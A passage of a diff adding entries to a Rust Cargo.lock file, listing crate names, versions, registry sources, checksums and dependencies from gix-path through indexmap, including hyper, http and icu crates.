| 2065 | + | "bstr", | |
| 2066 | + | "faster-hex", | |
| 2067 | + | "gix-trace", | |
| 2068 | + | "thiserror 2.0.19", | |
| 2069 | + | ] | |
| 2070 | + | ||
| 2071 | + | [[package]] | |
| 2072 | + | name = "gix-path" | |
| 2073 | + | version = "0.10.22" | |
| 2074 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 2075 | + | checksum = "7cb06c3e4f8eed6e24fd915fa93145e28a511f4ea0e768bae16673e05ed3f366" | |
| 2076 | + | dependencies = [ | |
| 2077 | + | "bstr", | |
| 2078 | + | "gix-trace", | |
| 2079 | + | "gix-validate 0.10.1", | |
| 2080 | + | "thiserror 2.0.19", | |
| 2081 | + | ] | |
| 2082 | + | ||
| 2083 | + | [[package]] | |
| 2084 | + | name = "gix-pathspec" | |
| 2085 | + | version = "0.8.1" | |
| 2086 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 2087 | + | checksum = "4c472dfbe4a4e96fcf7efddcd4771c9037bb4fdea2faaabf2f4888210c75b81e" | |
| 2088 | + | dependencies = [ | |
| 2089 | + | "bitflags 2.13.1", | |
| 2090 | + | "bstr", | |
| 2091 | + | "gix-attributes", | |
| 2092 | + | "gix-config-value", | |
| 2093 | + | "gix-glob", | |
| 2094 | + | "gix-path", | |
| 2095 | + | "thiserror 2.0.19", | |
| 2096 | + | ] | |
| 2097 | + | ||
| 2098 | + | [[package]] | |
| 2099 | + | name = "gix-quote" | |
| 2100 | + | version = "0.4.15" | |
| 2101 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 2102 | + | checksum = "e49357fccdb0c85c0d3a3292a9f6db32d9b3535959b5471bb9624908f4a066c6" | |
| 2103 | + | dependencies = [ | |
| 2104 | + | "bstr", | |
| 2105 | + | "gix-utils", | |
| 2106 | + | "thiserror 2.0.19", | |
| 2107 | + | ] | |
| 2108 | + | ||
| 2109 | + | [[package]] | |
| 2110 | + | name = "gix-ref" | |
| 2111 | + | version = "0.49.1" | |
| 2112 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 2113 | + | checksum = "a91b61776c839d0f1b7114901179afb0947aa7f4d30793ca1c56d335dfef485f" | |
| 2114 | + | dependencies = [ | |
| 2115 | + | "gix-actor", | |
| 2116 | + | "gix-features", | |
| 2117 | + | "gix-fs", | |
| 2118 | + | "gix-hash", | |
| 2119 | + | "gix-lock", | |
| 2120 | + | "gix-object", | |
| 2121 | + | "gix-path", | |
| 2122 | + | "gix-tempfile", | |
| 2123 | + | "gix-utils", | |
| 2124 | + | "gix-validate 0.9.4", | |
| 2125 | + | "memmap2", | |
| 2126 | + | "thiserror 2.0.19", | |
| 2127 | + | "winnow", | |
| 2128 | + | ] | |
| 2129 | + | ||
| 2130 | + | [[package]] | |
| 2131 | + | name = "gix-refspec" | |
| 2132 | + | version = "0.27.0" | |
| 2133 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 2134 | + | checksum = "00c056bb747868c7eb0aeb352c9f9181ab8ca3d0a2550f16470803500c6c413d" | |
| 2135 | + | dependencies = [ | |
| 2136 | + | "bstr", | |
| 2137 | + | "gix-hash", | |
| 2138 | + | "gix-revision", | |
| 2139 | + | "gix-validate 0.9.4", | |
| 2140 | + | "smallvec", | |
| 2141 | + | "thiserror 2.0.19", | |
| 2142 | + | ] | |
| 2143 | + | ||
| 2144 | + | [[package]] | |
| 2145 | + | name = "gix-revision" | |
| 2146 | + | version = "0.31.1" | |
| 2147 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 2148 | + | checksum = "61e1ddc474405a68d2ce8485705dd72fe6ce959f2f5fe718601ead5da2c8f9e7" | |
| 2149 | + | dependencies = [ | |
| 2150 | + | "bitflags 2.13.1", | |
| 2151 | + | "bstr", | |
| 2152 | + | "gix-commitgraph", | |
| 2153 | + | "gix-date", | |
| 2154 | + | "gix-hash", | |
| 2155 | + | "gix-hashtable", | |
| 2156 | + | "gix-object", | |
| 2157 | + | "gix-revwalk", | |
| 2158 | + | "gix-trace", | |
| 2159 | + | "thiserror 2.0.19", | |
| 2160 | + | ] | |
| 2161 | + | ||
| 2162 | + | [[package]] | |
| 2163 | + | name = "gix-revwalk" | |
| 2164 | + | version = "0.17.0" | |
| 2165 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 2166 | + | checksum = "510026fc32f456f8f067d8f37c34088b97a36b2229d88a6a5023ef179fcb109d" | |
| 2167 | + | dependencies = [ | |
| 2168 | + | "gix-commitgraph", | |
| 2169 | + | "gix-date", | |
| 2170 | + | "gix-hash", | |
| 2171 | + | "gix-hashtable", | |
| 2172 | + | "gix-object", | |
| 2173 | + | "smallvec", | |
| 2174 | + | "thiserror 2.0.19", | |
| 2175 | + | ] | |
| 2176 | + | ||
| 2177 | + | [[package]] | |
| 2178 | + | name = "gix-sec" | |
| 2179 | + | version = "0.10.12" | |
| 2180 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 2181 | + | checksum = "47aeb0f13de9ef2f3033f5ff218de30f44db827ac9f1286f9ef050aacddd5888" | |
| 2182 | + | dependencies = [ | |
| 2183 | + | "bitflags 2.13.1", | |
| 2184 | + | "gix-path", | |
| 2185 | + | "libc", | |
| 2186 | + | "windows-sys 0.52.0", | |
| 2187 | + | ] | |
| 2188 | + | ||
| 2189 | + | [[package]] | |
| 2190 | + | name = "gix-submodule" | |
| 2191 | + | version = "0.16.0" | |
| 2192 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 2193 | + | checksum = "a2455f8c0fcb6ebe2a6e83c8f522d30615d763eb2ef7a23c7d929f9476e89f5c" | |
| 2194 | + | dependencies = [ | |
| 2195 | + | "bstr", | |
| 2196 | + | "gix-config", | |
| 2197 | + | "gix-path", | |
| 2198 | + | "gix-pathspec", | |
| 2199 | + | "gix-refspec", | |
| 2200 | + | "gix-url", | |
| 2201 | + | "thiserror 2.0.19", | |
| 2202 | + | ] | |
| 2203 | + | ||
| 2204 | + | [[package]] | |
| 2205 | + | name = "gix-tempfile" | |
| 2206 | + | version = "15.0.0" | |
| 2207 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 2208 | + | checksum = "2feb86ef094cc77a4a9a5afbfe5de626897351bbbd0de3cb9314baf3049adb82" | |
| 2209 | + | dependencies = [ | |
| 2210 | + | "dashmap", | |
| 2211 | + | "gix-fs", | |
| 2212 | + | "libc", | |
| 2213 | + | "once_cell", | |
| 2214 | + | "parking_lot", | |
| 2215 | + | "tempfile", | |
| 2216 | + | ] | |
| 2217 | + | ||
| 2218 | + | [[package]] | |
| 2219 | + | name = "gix-trace" | |
| 2220 | + | version = "0.1.21" | |
| 2221 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 2222 | + | checksum = "be3eb81d9dc914335923e50d52829c551feefd6a72d176c4130c546b67a60814" | |
| 2223 | + | ||
| 2224 | + | [[package]] | |
| 2225 | + | name = "gix-traverse" | |
| 2226 | + | version = "0.43.1" | |
| 2227 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 2228 | + | checksum = "6ed47d648619e23e93f971d2bba0d10c1100e54ef95d2981d609907a8cabac89" | |
| 2229 | + | dependencies = [ | |
| 2230 | + | "bitflags 2.13.1", | |
| 2231 | + | "gix-commitgraph", | |
| 2232 | + | "gix-date", | |
| 2233 | + | "gix-hash", | |
| 2234 | + | "gix-hashtable", | |
| 2235 | + | "gix-object", | |
| 2236 | + | "gix-revwalk", | |
| 2237 | + | "smallvec", | |
| 2238 | + | "thiserror 2.0.19", | |
| 2239 | + | ] | |
| 2240 | + | ||
| 2241 | + | [[package]] | |
| 2242 | + | name = "gix-url" | |
| 2243 | + | version = "0.28.2" | |
| 2244 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 2245 | + | checksum = "d096fb733ba6bd3f5403dba8bd72bdd8809fe2b347b57844040b8f49c93492d9" | |
| 2246 | + | dependencies = [ | |
| 2247 | + | "bstr", | |
| 2248 | + | "gix-features", | |
| 2249 | + | "gix-path", | |
| 2250 | + | "percent-encoding", | |
| 2251 | + | "thiserror 2.0.19", | |
| 2252 | + | "url", | |
| 2253 | + | ] | |
| 2254 | + | ||
| 2255 | + | [[package]] | |
| 2256 | + | name = "gix-utils" | |
| 2257 | + | version = "0.1.14" | |
| 2258 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 2259 | + | checksum = "ff08f24e03ac8916c478c8419d7d3c33393da9bb41fa4c24455d5406aeefd35f" | |
| 2260 | + | dependencies = [ | |
| 2261 | + | "fastrand", | |
| 2262 | + | "unicode-normalization", | |
| 2263 | + | ] | |
| 2264 | + | ||
| 2265 | + | [[package]] | |
| 2266 | + | name = "gix-validate" | |
| 2267 | + | version = "0.9.4" | |
| 2268 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 2269 | + | checksum = "34b5f1253109da6c79ed7cf6e1e38437080bb6d704c76af14c93e2f255234084" | |
| 2270 | + | dependencies = [ | |
| 2271 | + | "bstr", | |
| 2272 | + | "thiserror 2.0.19", | |
| 2273 | + | ] | |
| 2274 | + | ||
| 2275 | + | [[package]] | |
| 2276 | + | name = "gix-validate" | |
| 2277 | + | version = "0.10.1" | |
| 2278 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 2279 | + | checksum = "5b1e63a5b516e970a594f870ed4571a8fdcb8a344e7bd407a20db8bd61dbfde4" | |
| 2280 | + | dependencies = [ | |
| 2281 | + | "bstr", | |
| 2282 | + | "thiserror 2.0.19", | |
| 2283 | + | ] | |
| 2284 | + | ||
| 2285 | + | [[package]] | |
| 2286 | + | name = "gix-worktree" | |
| 2287 | + | version = "0.38.0" | |
| 2288 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 2289 | + | checksum = "756dbbe15188fa22540d5eab941f8f9cf511a5364d5aec34c88083c09f4bea13" | |
| 2290 | + | dependencies = [ | |
| 2291 | + | "bstr", | |
| 2292 | + | "gix-attributes", | |
| 2293 | + | "gix-features", | |
| 2294 | + | "gix-fs", | |
| 2295 | + | "gix-glob", | |
| 2296 | + | "gix-hash", | |
| 2297 | + | "gix-ignore", | |
| 2298 | + | "gix-index", | |
| 2299 | + | "gix-object", | |
| 2300 | + | "gix-path", | |
| 2301 | + | "gix-validate 0.9.4", | |
| 2302 | + | ] | |
| 2303 | + | ||
| 2304 | + | [[package]] | |
| 2305 | + | name = "group" | |
| 2306 | + | version = "0.13.0" | |
| 2307 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 2308 | + | checksum = "f0f9ef7462f7c099f518d754361858f86d8a07af53ba9af0fe635bbccb151a63" | |
| 2309 | + | dependencies = [ | |
| 2310 | + | "ff", | |
| 2311 | + | "rand_core 0.6.4", | |
| 2312 | + | "subtle", | |
| 2313 | + | ] | |
| 2314 | + | ||
| 2315 | + | [[package]] | |
| 2316 | + | name = "h2" | |
| 2317 | + | version = "0.4.15" | |
| 2318 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 2319 | + | checksum = "6cb093c84e8bd9b188d4c4a8cb6579fc016968d14c99882163cd3ff402a4f155" | |
| 2320 | + | dependencies = [ | |
| 2321 | + | "atomic-waker", | |
| 2322 | + | "bytes", | |
| 2323 | + | "fnv", | |
| 2324 | + | "futures-core", | |
| 2325 | + | "futures-sink", | |
| 2326 | + | "http", | |
| 2327 | + | "indexmap 2.14.0", | |
| 2328 | + | "slab", | |
| 2329 | + | "tokio", | |
| 2330 | + | "tokio-util", | |
| 2331 | + | "tracing", | |
| 2332 | + | ] | |
| 2333 | + | ||
| 2334 | + | [[package]] | |
| 2335 | + | name = "hashbrown" | |
| 2336 | + | version = "0.12.3" | |
| 2337 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 2338 | + | checksum = "8a9ee70c43aaf417c914396645a0fa852624801b24ebb7ae78fe8272889ac888" | |
| 2339 | + | ||
| 2340 | + | [[package]] | |
| 2341 | + | name = "hashbrown" | |
| 2342 | + | version = "0.14.5" | |
| 2343 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 2344 | + | checksum = "e5274423e17b7c9fc20b6e7e208532f9b19825d82dfd615708b70edd83df41f1" | |
| 2345 | + | dependencies = [ | |
| 2346 | + | "ahash", | |
| 2347 | + | "allocator-api2", | |
| 2348 | + | ] | |
| 2349 | + | ||
| 2350 | + | [[package]] | |
| 2351 | + | name = "hashbrown" | |
| 2352 | + | version = "0.15.5" | |
| 2353 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 2354 | + | checksum = "9229cfe53dfd69f0609a49f65461bd93001ea1ef889cd5529dd176593f5338a1" | |
| 2355 | + | dependencies = [ | |
| 2356 | + | "allocator-api2", | |
| 2357 | + | "equivalent", | |
| 2358 | + | "foldhash 0.1.5", | |
| 2359 | + | ] | |
| 2360 | + | ||
| 2361 | + | [[package]] | |
| 2362 | + | name = "hashbrown" | |
| 2363 | + | version = "0.16.1" | |
| 2364 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 2365 | + | checksum = "841d1cc9bed7f9236f321df977030373f4a4163ae1a7dbfe1a51a2c1a51d9100" | |
| 2366 | + | dependencies = [ | |
| 2367 | + | "allocator-api2", | |
| 2368 | + | "equivalent", | |
| 2369 | + | "foldhash 0.2.0", | |
| 2370 | + | ] | |
| 2371 | + | ||
| 2372 | + | [[package]] | |
| 2373 | + | name = "hashbrown" | |
| 2374 | + | version = "0.17.1" | |
| 2375 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 2376 | + | checksum = "ed5909b6e89a2db4456e54cd5f673791d7eca6732202bbf2a9cc504fe2f9b84a" | |
| 2377 | + | ||
| 2378 | + | [[package]] | |
| 2379 | + | name = "hashlink" | |
| 2380 | + | version = "0.10.0" | |
| 2381 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 2382 | + | checksum = "7382cf6263419f2d8df38c55d7da83da5c18aef87fc7a7fc1fb1e344edfe14c1" | |
| 2383 | + | dependencies = [ | |
| 2384 | + | "hashbrown 0.15.5", | |
| 2385 | + | ] | |
| 2386 | + | ||
| 2387 | + | [[package]] | |
| 2388 | + | name = "headers" | |
| 2389 | + | version = "0.4.1" | |
| 2390 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 2391 | + | checksum = "b3314d5adb5d94bcdf56771f2e50dbbc80bb4bdf88967526706205ac9eff24eb" | |
| 2392 | + | dependencies = [ | |
| 2393 | + | "base64 0.22.1", | |
| 2394 | + | "bytes", | |
| 2395 | + | "headers-core", | |
| 2396 | + | "http", | |
| 2397 | + | "httpdate", | |
| 2398 | + | "mime", | |
| 2399 | + | "sha1", | |
| 2400 | + | ] | |
| 2401 | + | ||
| 2402 | + | [[package]] | |
| 2403 | + | name = "headers-core" | |
| 2404 | + | version = "0.3.0" | |
| 2405 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 2406 | + | checksum = "54b4a22553d4242c49fddb9ba998a99962b5cc6f22cb5a3482bec22522403ce4" | |
| 2407 | + | dependencies = [ | |
| 2408 | + | "http", | |
| 2409 | + | ] | |
| 2410 | + | ||
| 2411 | + | [[package]] | |
| 2412 | + | name = "heck" | |
| 2413 | + | version = "0.5.0" | |
| 2414 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 2415 | + | checksum = "2304e00983f87ffb38b55b444b5e3b60a884b5d30c0fca7d82fe33449bbe55ea" | |
| 2416 | + | ||
| 2417 | + | [[package]] | |
| 2418 | + | name = "hex" | |
| 2419 | + | version = "0.4.3" | |
| 2420 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 2421 | + | checksum = "7f24254aa9a54b5c858eaee2f5bccdb46aaf0e486a595ed5fd8f86ba55232a70" | |
| 2422 | + | ||
| 2423 | + | [[package]] | |
| 2424 | + | name = "hex-literal" | |
| 2425 | + | version = "0.4.1" | |
| 2426 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 2427 | + | checksum = "6fe2267d4ed49bc07b63801559be28c718ea06c4738b7a03c94df7386d2cde46" | |
| 2428 | + | ||
| 2429 | + | [[package]] | |
| 2430 | + | name = "hkdf" | |
| 2431 | + | version = "0.12.4" | |
| 2432 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 2433 | + | checksum = "7b5f8eb2ad728638ea2c7d47a21db23b7b58a72ed6a38256b8a1849f15fbbdf7" | |
| 2434 | + | dependencies = [ | |
| 2435 | + | "hmac", | |
| 2436 | + | ] | |
| 2437 | + | ||
| 2438 | + | [[package]] | |
| 2439 | + | name = "hmac" | |
| 2440 | + | version = "0.12.1" | |
| 2441 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 2442 | + | checksum = "6c49c37c09c17a53d937dfbb742eb3a961d65a994e6bcdcf37e7399d0cc8ab5e" | |
| 2443 | + | dependencies = [ | |
| 2444 | + | "digest", | |
| 2445 | + | ] | |
| 2446 | + | ||
| 2447 | + | [[package]] | |
| 2448 | + | name = "home" | |
| 2449 | + | version = "0.5.12" | |
| 2450 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 2451 | + | checksum = "cc627f471c528ff0c4a49e1d5e60450c8f6461dd6d10ba9dcd3a61d3dff7728d" | |
| 2452 | + | dependencies = [ | |
| 2453 | + | "windows-sys 0.61.2", | |
| 2454 | + | ] | |
| 2455 | + | ||
| 2456 | + | [[package]] | |
| 2457 | + | name = "html5ever" | |
| 2458 | + | version = "0.39.0" | |
| 2459 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 2460 | + | checksum = "46a1761807faccc9a19e86944bbf40610014066306f96edcdedc2fb714bcb7b8" | |
| 2461 | + | dependencies = [ | |
| 2462 | + | "log", | |
| 2463 | + | "markup5ever", | |
| 2464 | + | ] | |
| 2465 | + | ||
| 2466 | + | [[package]] | |
| 2467 | + | name = "http" | |
| 2468 | + | version = "1.5.0" | |
| 2469 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 2470 | + | checksum = "918d3568bebf352712bc2ef3d46a8bcf1a75b373be6539de198e9105cbbf9ce0" | |
| 2471 | + | dependencies = [ | |
| 2472 | + | "bytes", | |
| 2473 | + | "itoa", | |
| 2474 | + | ] | |
| 2475 | + | ||
| 2476 | + | [[package]] | |
| 2477 | + | name = "http-body" | |
| 2478 | + | version = "1.1.0" | |
| 2479 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 2480 | + | checksum = "ca2a8f2913ee65f60facd6a5905613afaa448497a0230cc41ce022d93290bc2c" | |
| 2481 | + | dependencies = [ | |
| 2482 | + | "bytes", | |
| 2483 | + | "http", | |
| 2484 | + | ] | |
| 2485 | + | ||
| 2486 | + | [[package]] | |
| 2487 | + | name = "http-body-util" | |
| 2488 | + | version = "0.1.4" | |
| 2489 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 2490 | + | checksum = "e9f41fd6a08e4d4ec69df65976da761afd5ad5e58a9d4acb46bd1c953a9e3ff2" | |
| 2491 | + | dependencies = [ | |
| 2492 | + | "bytes", | |
| 2493 | + | "futures-core", | |
| 2494 | + | "http", | |
| 2495 | + | "http-body", | |
| 2496 | + | "pin-project-lite", | |
| 2497 | + | ] | |
| 2498 | + | ||
| 2499 | + | [[package]] | |
| 2500 | + | name = "httparse" | |
| 2501 | + | version = "1.10.1" | |
| 2502 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 2503 | + | checksum = "6dbf3de79e51f3d586ab4cb9d5c3e2c14aa28ed23d180cf89b4df0454a69cc87" | |
| 2504 | + | ||
| 2505 | + | [[package]] | |
| 2506 | + | name = "httpdate" | |
| 2507 | + | version = "1.0.3" | |
| 2508 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 2509 | + | checksum = "df3b46402a9d5adb4c86a0cf463f42e19994e3ee891101b1841f30a545cb49a9" | |
| 2510 | + | ||
| 2511 | + | [[package]] | |
| 2512 | + | name = "hyper" | |
| 2513 | + | version = "1.11.0" | |
| 2514 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 2515 | + | checksum = "d22053281f852e11534f5198498373cbb59295120a20771d90f7ed1897490a72" | |
| 2516 | + | dependencies = [ | |
| 2517 | + | "atomic-waker", | |
| 2518 | + | "bytes", | |
| 2519 | + | "futures-channel", | |
| 2520 | + | "futures-core", | |
| 2521 | + | "h2", | |
| 2522 | + | "http", | |
| 2523 | + | "http-body", | |
| 2524 | + | "httparse", | |
| 2525 | + | "httpdate", | |
| 2526 | + | "itoa", | |
| 2527 | + | "pin-project-lite", | |
| 2528 | + | "smallvec", | |
| 2529 | + | "tokio", | |
| 2530 | + | "want", | |
| 2531 | + | ] | |
| 2532 | + | ||
| 2533 | + | [[package]] | |
| 2534 | + | name = "hyper-rustls" | |
| 2535 | + | version = "0.27.9" | |
| 2536 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 2537 | + | checksum = "33ca68d021ef39cf6463ab54c1d0f5daf03377b70561305bb89a8f83aab66e0f" | |
| 2538 | + | dependencies = [ | |
| 2539 | + | "http", | |
| 2540 | + | "hyper", | |
| 2541 | + | "hyper-util", | |
| 2542 | + | "rustls", | |
| 2543 | + | "tokio", | |
| 2544 | + | "tokio-rustls", | |
| 2545 | + | "tower-service", | |
| 2546 | + | "webpki-roots 1.0.9", | |
| 2547 | + | ] | |
| 2548 | + | ||
| 2549 | + | [[package]] | |
| 2550 | + | name = "hyper-util" | |
| 2551 | + | version = "0.1.20" | |
| 2552 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 2553 | + | checksum = "96547c2556ec9d12fb1578c4eaf448b04993e7fb79cbaad930a656880a6bdfa0" | |
| 2554 | + | dependencies = [ | |
| 2555 | + | "base64 0.22.1", | |
| 2556 | + | "bytes", | |
| 2557 | + | "futures-channel", | |
| 2558 | + | "futures-util", | |
| 2559 | + | "http", | |
| 2560 | + | "http-body", | |
| 2561 | + | "hyper", | |
| 2562 | + | "ipnet", | |
| 2563 | + | "libc", | |
| 2564 | + | "percent-encoding", | |
| 2565 | + | "pin-project-lite", | |
| 2566 | + | "socket2", | |
| 2567 | + | "tokio", | |
| 2568 | + | "tower-service", | |
| 2569 | + | "tracing", | |
| 2570 | + | ] | |
| 2571 | + | ||
| 2572 | + | [[package]] | |
| 2573 | + | name = "iana-time-zone" | |
| 2574 | + | version = "0.1.65" | |
| 2575 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 2576 | + | checksum = "e31bc9ad994ba00e440a8aa5c9ef0ec67d5cb5e5cb0cc7f8b744a35b389cc470" | |
| 2577 | + | dependencies = [ | |
| 2578 | + | "android_system_properties", | |
| 2579 | + | "core-foundation-sys", | |
| 2580 | + | "iana-time-zone-haiku", | |
| 2581 | + | "js-sys", | |
| 2582 | + | "log", | |
| 2583 | + | "wasm-bindgen", | |
| 2584 | + | "windows-core 0.62.2", | |
| 2585 | + | ] | |
| 2586 | + | ||
| 2587 | + | [[package]] | |
| 2588 | + | name = "iana-time-zone-haiku" | |
| 2589 | + | version = "0.1.2" | |
| 2590 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 2591 | + | checksum = "f31827a206f56af32e590ba56d5d2d085f558508192593743f16b2306495269f" | |
| 2592 | + | dependencies = [ | |
| 2593 | + | "cc", | |
| 2594 | + | ] | |
| 2595 | + | ||
| 2596 | + | [[package]] | |
| 2597 | + | name = "icu_collections" | |
| 2598 | + | version = "2.2.0" | |
| 2599 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 2600 | + | checksum = "2984d1cd16c883d7935b9e07e44071dca8d917fd52ecc02c04d5fa0b5a3f191c" | |
| 2601 | + | dependencies = [ | |
| 2602 | + | "displaydoc", | |
| 2603 | + | "potential_utf", | |
| 2604 | + | "utf8_iter", | |
| 2605 | + | "yoke", | |
| 2606 | + | "zerofrom", | |
| 2607 | + | "zerovec", | |
| 2608 | + | ] | |
| 2609 | + | ||
| 2610 | + | [[package]] | |
| 2611 | + | name = "icu_locale_core" | |
| 2612 | + | version = "2.2.0" | |
| 2613 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 2614 | + | checksum = "92219b62b3e2b4d88ac5119f8904c10f8f61bf7e95b640d25ba3075e6cac2c29" | |
| 2615 | + | dependencies = [ | |
| 2616 | + | "displaydoc", | |
| 2617 | + | "litemap", | |
| 2618 | + | "tinystr", | |
| 2619 | + | "writeable", | |
| 2620 | + | "zerovec", | |
| 2621 | + | ] | |
| 2622 | + | ||
| 2623 | + | [[package]] | |
| 2624 | + | name = "icu_normalizer" | |
| 2625 | + | version = "2.2.0" | |
| 2626 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 2627 | + | checksum = "c56e5ee99d6e3d33bd91c5d85458b6005a22140021cc324cea84dd0e72cff3b4" | |
| 2628 | + | dependencies = [ | |
| 2629 | + | "icu_collections", | |
| 2630 | + | "icu_normalizer_data", | |
| 2631 | + | "icu_properties", | |
| 2632 | + | "icu_provider", | |
| 2633 | + | "smallvec", | |
| 2634 | + | "zerovec", | |
| 2635 | + | ] | |
| 2636 | + | ||
| 2637 | + | [[package]] | |
| 2638 | + | name = "icu_normalizer_data" | |
| 2639 | + | version = "2.2.0" | |
| 2640 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 2641 | + | checksum = "da3be0ae77ea334f4da67c12f149704f19f81d1adf7c51cf482943e84a2bad38" | |
| 2642 | + | ||
| 2643 | + | [[package]] | |
| 2644 | + | name = "icu_properties" | |
| 2645 | + | version = "2.2.0" | |
| 2646 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 2647 | + | checksum = "bee3b67d0ea5c2cca5003417989af8996f8604e34fb9ddf96208a033901e70de" | |
| 2648 | + | dependencies = [ | |
| 2649 | + | "icu_collections", | |
| 2650 | + | "icu_locale_core", | |
| 2651 | + | "icu_properties_data", | |
| 2652 | + | "icu_provider", | |
| 2653 | + | "zerotrie", | |
| 2654 | + | "zerovec", | |
| 2655 | + | ] | |
| 2656 | + | ||
| 2657 | + | [[package]] | |
| 2658 | + | name = "icu_properties_data" | |
| 2659 | + | version = "2.2.0" | |
| 2660 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 2661 | + | checksum = "8e2bbb201e0c04f7b4b3e14382af113e17ba4f63e2c9d2ee626b720cbce54a14" | |
| 2662 | + | ||
| 2663 | + | [[package]] | |
| 2664 | + | name = "icu_provider" | |
| 2665 | + | version = "2.2.0" | |
| 2666 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 2667 | + | checksum = "139c4cf31c8b5f33d7e199446eff9c1e02decfc2f0eec2c8d71f65befa45b421" | |
| 2668 | + | dependencies = [ | |
| 2669 | + | "displaydoc", | |
| 2670 | + | "icu_locale_core", | |
| 2671 | + | "writeable", | |
| 2672 | + | "yoke", | |
| 2673 | + | "zerofrom", | |
| 2674 | + | "zerotrie", | |
| 2675 | + | "zerovec", | |
| 2676 | + | ] | |
| 2677 | + | ||
| 2678 | + | [[package]] | |
| 2679 | + | name = "ident_case" | |
| 2680 | + | version = "1.0.1" | |
| 2681 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 2682 | + | checksum = "b9e0384b61958566e926dc50660321d12159025e767c18e043daf26b70104c39" | |
| 2683 | + | ||
| 2684 | + | [[package]] | |
| 2685 | + | name = "idna" | |
| 2686 | + | version = "1.1.0" | |
| 2687 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 2688 | + | checksum = "3b0875f23caa03898994f6ddc501886a45c7d3d62d04d2d90788d47be1b1e4de" | |
| 2689 | + | dependencies = [ | |
| 2690 | + | "idna_adapter", | |
| 2691 | + | "smallvec", | |
| 2692 | + | "utf8_iter", | |
| 2693 | + | ] | |
| 2694 | + | ||
| 2695 | + | [[package]] | |
| 2696 | + | name = "idna_adapter" | |
| 2697 | + | version = "1.2.2" | |
| 2698 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 2699 | + | checksum = "cb68373c0d6620ef8105e855e7745e18b0d00d3bdb07fb532e434244cdb9a714" | |
| 2700 | + | dependencies = [ | |
| 2701 | + | "icu_normalizer", | |
| 2702 | + | "icu_properties", | |
| 2703 | + | ] | |
| 2704 | + | ||
| 2705 | + | [[package]] | |
| 2706 | + | name = "imara-diff" | |
| 2707 | + | version = "0.1.8" | |
| 2708 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 2709 | + | checksum = "17d34b7d42178945f775e84bc4c36dde7c1c6cdfea656d3354d009056f2bb3d2" | |
| 2710 | + | dependencies = [ | |
| 2711 | + | "hashbrown 0.15.5", | |
| 2712 | + | ] | |
| 2713 | + | ||
| 2714 | + | [[package]] | |
| 2715 | + | name = "indexmap" | |
| 2716 | + | version = "1.9.3" | |
| 2717 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 2718 | + | checksum = "bd070e393353796e801d209ad339e89596eb4c8d430d18ede6a1cced8fafbd99" | |
| 2719 | + | dependencies = [ | |
| 2720 | + | "autocfg", | |
| 2721 | + | "hashbrown 0.12.3", | |
| 2722 | + | "serde", | |
| 2723 | + | ] | |
| 2724 | + | ||
| 2725 | + | [[package]] | |
| 2726 | + | name = "indexmap" | |
| 2727 | + | version = "2.14.0" | |
| 2728 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 2729 | + | checksum = "d466e9454f08e4a911e14806c24e16fba1b4c121d1ea474396f396069cf949d9" | |
| 2730 | + | dependencies = [ | |
| 2731 | + | "equivalent", | |
| 2732 | + | "hashbrown 0.17.1", | |
| 2733 | + | "serde", | |
| 2734 | + | "serde_core", | |
| 2735 | + | ] | |
| 2736 | + | ||
